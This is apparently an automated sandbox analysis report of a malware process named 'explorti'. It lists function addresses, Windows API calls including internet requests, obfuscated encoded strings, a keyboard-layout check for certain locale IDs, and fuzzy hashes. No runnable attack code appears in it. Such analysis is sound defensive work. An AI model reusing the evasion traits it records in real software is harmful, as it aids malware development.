PzI+, xrefs: 00EA478D, 00EA48BC, 00EA4AAC, 00EA4BDB
Ip==, xrefs: 00EA4CFD
bWEZ, xrefs: 00EA5440
bAQZ, xrefs: 00EA5321
YfcZ, xrefs: 00EA5417
stoi argument out of range, xrefs: 00EA4E7C
cVIZ, xrefs: 00EA5467
czEZ, xrefs: 00EA53C5
dPWZ, xrefs: 00EA539C
bV5Z, xrefs: 00EA52ED
NvWsKw==, xrefs: 00EA5489
k, xrefs: 00EA6B0C
246122658369, xrefs: 00EA4F0A, 00EA4F1D, 00EA4F5F, 00EA4F69, 00EA54C4
ZzSZ, xrefs: 00EA5373

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 246122658369$4dd39d$Ip==$NvWsKw==$PzE+$PzI+$YQAZ$YQQZ$YfcZ$ZzSZ$aPIZ$bAQZ$bV5Z$bWEZ$cVIZ$cWI2as==$ccS=$czEZ$dPWZ$dgEZ$stoi argument out of range$k
API String ID: 2414744145-103956707
Opcode ID: 4019fa345c9c0e22695af51e199aa18a979dd328ecab3ea470bb9ab384705190
Instruction ID: dc30b81149382fe35931f796c01e925397ba0fe45003a5eee9087e003f4b5693
Opcode Fuzzy Hash: 4019fa345c9c0e22695af51e199aa18a979dd328ecab3ea470bb9ab384705190
Instruction Fuzzy Hash: 9E232571E002588BEB19DB28CD8579DBBB29B8A304F5491D8E049BF2C2DB756F84CF51

Function 00E97CE0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00E97E83

Strings

0k, xrefs: 00E97D9A
Xk, xrefs: 00E97D6D
PGm, xrefs: 00E97F25, 00E9800A, 00E980B2, 00E9815A
McsqLc==, xrefs: 00E98192
McsqMM==, xrefs: 00E98042
McsrKc==, xrefs: 00E980EA

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 0k$McsqLc==$McsqMM==$McsrKc==$PGm$Xk
API String ID: 1721193555-4201006178
Opcode ID: 3c8f4b6a02eac5c6fedb3ef1c702d7fd6bdf32dd98ceb5001a11efa4dd81a730
Instruction ID: 2f81ab7d1bd0f615153022daedf9d053e8705fcc98aebbb37f10d50ee3204233
Opcode Fuzzy Hash: 3c8f4b6a02eac5c6fedb3ef1c702d7fd6bdf32dd98ceb5001a11efa4dd81a730
Instruction Fuzzy Hash: CFD11771E006149BDF24EB28DD463AD7BB1AB86314F90628CE455BB3D2EB745E84C7C2

Function 00E95DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00E95F88
00000422, xrefs: 00E95FB9
Keyboard Layout\Preload, xrefs: 00E95F44
00000423, xrefs: 00E95FEA
0000043f, xrefs: 00E9601B

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: b50d75662c1f5da913f5cbbeaf2979ab059ddb0cd7044d39d8e05c5ef62d6421
Instruction ID: aa7e876e68033c7cb2e21adb45d06eb5b16e63cca23e8fb33d56c1b5c1bc9864
Opcode Fuzzy Hash: b50d75662c1f5da913f5cbbeaf2979ab059ddb0cd7044d39d8e05c5ef62d6421
Instruction Fuzzy Hash: 03E1AA71904218ABEF25DBA4CC88BDEB7B9EB05304F5042D9E409BB291DB74ABC4CF51

Function 00E98290 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00E98434

Strings

0k, xrefs: 00E9834F
Xk, xrefs: 00E98322

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 0k$Xk
API String ID: 1721193555-2312125285
Opcode ID: 7cc3b06a304cc71872d7bb3ab4fa5b8bd80084da613ad35846b7e26a8824914d
Instruction ID: 7f2091ee0a8176b3ee25c62f3cf09ca26d31d1f62c4ca4208eb36f37c27b9cc8
Opcode Fuzzy Hash: 7cc3b06a304cc71872d7bb3ab4fa5b8bd80084da613ad35846b7e26a8824914d
Instruction Fuzzy Hash: 2E512671D002189BEF24EB38CE457EDB7B5DF46304F5052A9E814BB291EF359E808B91

Function 00EC6DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00EC6E03
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00EC6E5D
__dosmaperr.LIBCMT ref: 00EC6EF2

Part of subcall function 00EC7157: __dosmaperr.LIBCMT ref: 00EC718C

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: bc54d08ec31c952b37285a392e94ecae9ef9f9cba4a292a19fc32d4c5dfbc397
Instruction ID: 39665dce8169e0bbf94d9075236b0718769f477301a72644c3a47e9022165a22
Opcode Fuzzy Hash: bc54d08ec31c952b37285a392e94ecae9ef9f9cba4a292a19fc32d4c5dfbc397
Instruction Fuzzy Hash: 23416D75900244AFDB24DFB5D941EAFB7F9EF88304B10542EF856E3610DB32A906CB61

Function 00EA6AB0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00EA6B35

Strings

k, xrefs: 00EA6B0C

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: k
API String ID: 3472027048-2690311395
Opcode ID: 2de3b4f6effb53b9ba360c865e2c4e06e5b9b021af196a781d72b8dcd44c3aa3
Instruction ID: 100cd41d582a96e095f53256278532c1bfe01ca4791e9ad0ee1e176cd68da94d
Opcode Fuzzy Hash: 2de3b4f6effb53b9ba360c865e2c4e06e5b9b021af196a781d72b8dcd44c3aa3
Instruction Fuzzy Hash: 10F08671A00614ABC711BB798D0771E7BA5E747720F841259E9117B2D1EBB42A1487D2

Function 00EC6C79 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69fad8a52b50d5c577f234d774a0b140145e39e3bb0e13c2d081d48dfb90764a
Instruction ID: e6dbaa942c22824a37114ccc748130e6717fc50a6e4a571689d771c399a8ba6a
Opcode Fuzzy Hash: 69fad8a52b50d5c577f234d774a0b140145e39e3bb0e13c2d081d48dfb90764a
Instruction Fuzzy Hash: 2921F871A052087AEB117B64AE42F9F3B69AF4137CF201318F9353B1D1DB729D0796A1

Function 00EC6F51 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00EC6F93

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: a8ee7245e28bde5d6655e4dfeb73672efff38362d0631e3982417a12daf4686f
Instruction ID: 02327173126b89939f83d94605dc3219b4ba522c34819d7625a83374212b2704
Opcode Fuzzy Hash: a8ee7245e28bde5d6655e4dfeb73672efff38362d0631e3982417a12daf4686f
Instruction Fuzzy Hash: 2D11EF7290014DABDB10DE95D940EDFB7FCAF48314F50526AE511F6180EB31EB498B61

Function 04A10D48 Relevance: .1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2882513811.0000000004A10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a10000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62d813647d96fb46726949d8ba7373474a88ccf8862052e305f3833929b1277
Instruction ID: 6b0ec129fa3511cd012d3e80debab0986951f96d703e0a8b9f431432a01bffbb
Opcode Fuzzy Hash: a62d813647d96fb46726949d8ba7373474a88ccf8862052e305f3833929b1277
Instruction Fuzzy Hash: 2B11A9FB20C1607C710281623F24AFBAB7CD1C6B30331C82BF443C5826E6886A8E2131

Function 04A10D61 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2882513811.0000000004A10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a10000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d52c3f24115714b9b686b184135d3b9c9e8a433c76b6f9c768b7bc024b3b34
Instruction ID: 98bdc940568381c2981e80d85f0855dffd549767204c7f4ce667bc160a44967a
Opcode Fuzzy Hash: a7d52c3f24115714b9b686b184135d3b9c9e8a433c76b6f9c768b7bc024b3b34
Instruction Fuzzy Hash: 62016DBB20C160BC7501C1623B24AFB7B7DD0C4B30731C92BF447C6925E2496ACE6171

Function 04A10D66 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2882513811.0000000004A10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a10000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 092ce99fa3fb133e07e105d7c10674f884d95a1fa5f2a80139e35fc4536d231f
Instruction ID: ca87d0e597c5a3d7d008c62580cdbf0be14339539d53e4fd2f494c3343875930
Opcode Fuzzy Hash: 092ce99fa3fb133e07e105d7c10674f884d95a1fa5f2a80139e35fc4536d231f
Instruction Fuzzy Hash: 8A016DBB30C160BCB506C5623B24AFBB77DD5C4730731C92BF443C5916E6492A8E2671

Function 04A10D7C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2882513811.0000000004A10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a10000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 274403490984763cb9eb009b3cf7c5a2263f579c32b9a2b18a39b99180f84446
Instruction ID: 63f055442763a444dccaa041e2c43f242bcb06111cd7532f5a6be463807e9126
Opcode Fuzzy Hash: 274403490984763cb9eb009b3cf7c5a2263f579c32b9a2b18a39b99180f84446
Instruction Fuzzy Hash: 0501ADBB20D2907EB202C5623B24AFFBBBDD5C1630331892FF483C5956D658168E6271

Function 04A10DA4 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2882513811.0000000004A10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a10000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4615ebab2026ece181b469816b6d413bdd7e280481753e47725ea071338be3
Instruction ID: 759230e029ddf1ef33329ae1715f500316bc2848fa929f67e9c05ed5dc48389b
Opcode Fuzzy Hash: 9f4615ebab2026ece181b469816b6d413bdd7e280481753e47725ea071338be3
Instruction Fuzzy Hash: 4EF02BBB60D1602C720691B23725BFE7B7CC5C56303318537F403CA856D249178E2171

Non-executed Functions

Function 00E9E9B0 Relevance: 39.3, APIs: 2, Strings: 19, Instructions: 2528COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00EA0795

Part of subcall function 00EA7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EA792C
Part of subcall function 00EA7840: __Cnd_destroy_in_situ.LIBCPMT ref: 00EA7938
Part of subcall function 00EA7840: __Mtx_destroy_in_situ.LIBCPMT ref: 00EA7941

Strings

PzE+, xrefs: 00E9E704
ZMw=, xrefs: 00EA085D
Xt==, xrefs: 00E9E9EF, 00E9EB21, 00E9EC36, 00E9EE69, 00E9F1AE
", xrefs: 00E9FCA2
3, xrefs: 00E9F6A5
cfxnXC1t, xrefs: 00E9ED64
4dd39d, xrefs: 00E9FA6E
#, xrefs: 00EA0504
IbsfHety2NVj, xrefs: 00E9FDF9
ZMs=, xrefs: 00EA04AA
invalid stoi argument, xrefs: 00EA0790, 00EA14C8
JgNn9TI9, xrefs: 00E9E44F
stoi argument out of range, xrefs: 00EA07A4, 00EA14D2
JbQ PT pgtz=, xrefs: 00E9FD96
IvQfGw==, xrefs: 00E9FDC4
111, xrefs: 00E9F680
PJ==, xrefs: 00E9E475
Zww=, xrefs: 00E9F5FD, 00E9F8DA, 00E9FCC3
246122658369, xrefs: 00E9F617, 00E9F8F4, 00E9FCE0, 00EA04C7, 00EA087A

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$#$111$246122658369$4dd39d$IbsfHety2NVj$IvQfGw==$JbQ PT pgtz=$JgNn9TI9$PJ==$PzE+$Xt==$ZMs=$ZMw=$Zww=$cfxnXC1t$invalid stoi argument$stoi argument out of range$3
API String ID: 4234742559-894115485
Opcode ID: ce66aa760c76e7ed0a03fa6f7a78cb8231fea345001362e9809a7859883de72e
Instruction ID: 6675d95403c0a4b4b76555f0d76cfe2eb802ef64acd26330427a236f5d2feb71
Opcode Fuzzy Hash: ce66aa760c76e7ed0a03fa6f7a78cb8231fea345001362e9809a7859883de72e
Instruction Fuzzy Hash: 89132871A001489BEF18DB38CD8979D7BB2EF8A304F109198F449FB3D6D775AA848B51

Function 00ED3048 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00ED31C3

Strings

1#QNAN, xrefs: 00ED4361
1#IND, xrefs: 00ED4353
1#SNAN, xrefs: 00ED435A
1#INF, xrefs: 00ED437E

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
